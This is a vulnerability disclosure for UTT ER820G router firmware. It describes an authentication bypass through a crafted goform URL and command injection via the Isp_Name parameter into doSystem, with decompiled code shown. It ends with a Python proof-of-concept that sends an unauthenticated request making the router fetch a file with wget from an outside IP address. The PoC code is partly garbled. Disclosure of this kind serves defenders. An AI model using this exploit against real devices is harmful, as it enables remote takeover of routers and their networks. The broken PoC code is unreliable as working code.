

UTT ER820 Unauthorized RCE Vulnerability

Product Information

```
1 Brand: UTT
2 Model: ER820G
3 Firmware Version: nv510v5v1.7.7
4 Official website: http://utt.com/
5 Firmware Download URL:
```

Affected Component

```
1 formReleaseConnect function in the goahead binary
```

Suggested description

UTT ER820 v1.7.7 has an unauthenticated arbitrary command execution vulnerability

Vulnerability Details

```
1 int formDefineIsp()
2 {
3     websAspDefine("aspIspRunningConfig", aspIspRunningConfig);
4     websAspDefine("OutputConnNum", sub_452B14);
5     websAspDefine("Output3GConfig", sub_452978);
6     websAspDefine("Output4GConfig", sub_452B38);
7     websAspDefine("aspFastConfigPopWelcome", sub_45273C);
8     websAspDefine("aspFastConfigNet", sub_4527A4);
9     websAspDefine("aspWanConfig", sub_453628);
10    websFormDefine("formWanIfConfig", sub_452018);
11    websFormDefine("formConfigFastDirection", sub_452620);
12    websFormDefine("formReleaseConnect", sub_451284);
13    websFormDefine("formReConnect", sub_451468);
14    websFormDefine("formRoadDel", sub_4515C4);
15    websFormDefine("formFastConfPop", sub_453518);
16    websFormDefine("FastConfFirstLoad", sub_453470);
17    return websFormDefine("getGwMac", sub_454164);
18 }
```

The program uses the `strstr` function to check whether the requested URL contains `/goform/formWebAuthUserSubmit`; as long as the string is detected in the requested URL, it will directly invoke the `websFormHandler` to process the corresponding routing request.

```
50 || isWebAuthWeb(a1) == 1 )
57 {
58     return websDefaultHandler(a1, a2, a3, a4, a5, a6, a7);
59 }
60 v15 = a1[45];
61 if ( strstr(v15, "/goform/formWebAuthUserSubmit") || strstr(v15, "/goform/formWebAuthOk") )
62     return websFormHandler((int)a1, a2, a3, a4, a5, (int)a6, a7);
63 if ( strstr(v15, "/images")
64     || strstr(v15, "gif")
65     || strstr(v15, "favicon.ico")
66     || strstr(v15, "/WebAuth_message.asp")
67     || strstr(v15, "/js")
68     || strstr(v15, "/lang") )
69 {
70     return websDefaultHandler(a1, a2, a3, a4, a5, a6, a7);
```

Therefore, we can construct the following URL request to access the URLs requiring authorization.

```
1 | goform/xxxxxx/goform/formWebAuthUserSubmit
```

```
1 int formDefineSettingsConf()  
2 {  
3     websFormDefine("formResetSettings", sub_450DB4);  
4     websFormDefine("formRefreshSettings", sub_450F20);  
5     websFormDefine("formUploadSettings", sub_450F40);  
6     return websFormDefine("formExportSettings", sub_4510C8);  
7 }
```

This vulnerability is located in the formReleaseConnect route of the formDefineIsp function. It receives the Isp_Name parameter passed from the frontend and directly concatenates it into subsequent execution, causing command injection, as shown in the figure. The frontend receives the Isp_Name parameter and then directly hands it over to the doSystem function for execution.

```

1 int __fastcall sub_451284(int a1)
2 {
3     const char *Var; // $s1
4     int v3; // $v0
5     int InstPointByIndex; // $v0
6     int v5; // $s0
7     int v6; // $s2
8     const char *v7; // $a1
9     int v9; // $v0
10    int v10; // $v0
11    const char *v11; // $a1
12
13    Var = (const char *)websGetVar(a1, "Isp_Name", "");
14    if ( *Var )
15    {
16        v3 = strtol(Var, 0, 10);
17        InstPointByIndex = ProfGetInstPointByIndex(1, v3);
18        v5 = *(_DWORD *) (InstPointByIndex + 20);
19        v6 = InstPointByIndex;
20        v7 = Var;
21        if ( v5 != 2 )
22            goto LABEL_3;
23    }
24    else
25    {
26        Var = (const char *)websGetVar(a1, "PortName", "");
27        v9 = strtol(Var, 0, 10);
28        v10 = ProfGetInstPointByIndex(1, v9);
29        v5 = *(_DWORD *) (v10 + 20);
30        v6 = v10;
31        v7 = Var;
32        if ( v5 != 2 )
33        {
34            LABEL_3:
35                if ( !v5 )
36                    doSystem("udhcpc-down.sh %s", Var);
37                return websRedirect(a1, "WANConfig.asp");
38        }
39    }
40    doSystem("ppp-off %s", v7);
41    v11 = Var;
42    if ( *(_DWORD *) (v6 + 132) != v5 )
43        doSystem("wan.sh %s", Var);
44    sleep(2, v11);
45    return websRedirect(a1, "WANConfig.asp");
46 }

```

Attack

Using the following POC, we can achieve arbitrary command execution, such as making the targeted router download a malicious script from the public internet.

POC

```
1 import requests
2 import sys
3 print("UTT Goahead cmd injection vulnerability\n")
4 def cmd_injection(url):
5     cmd='Isp_Name=`wget http://101.43.41.74:8000/test`'      # Public
6     server
7     resp=requests.post(url,data=cmd,verify=False,timeout=3)
8     try:
9         url='http://{':
10        {'}/goform/formReleaseConnect/goform/formwebAuthUserSubmit'.format(sys.argv[1
11        ],sys.argv[2])
12        try:
13            cmd_injection(url)
14            print('[%s]'%sys.argv[1]+' success!')
15        except:
16            print('[%s]'%sys.argv[1]+' failed!')
17    except:
18        print('usage: python cmd_injection.py [ip] [port]')
```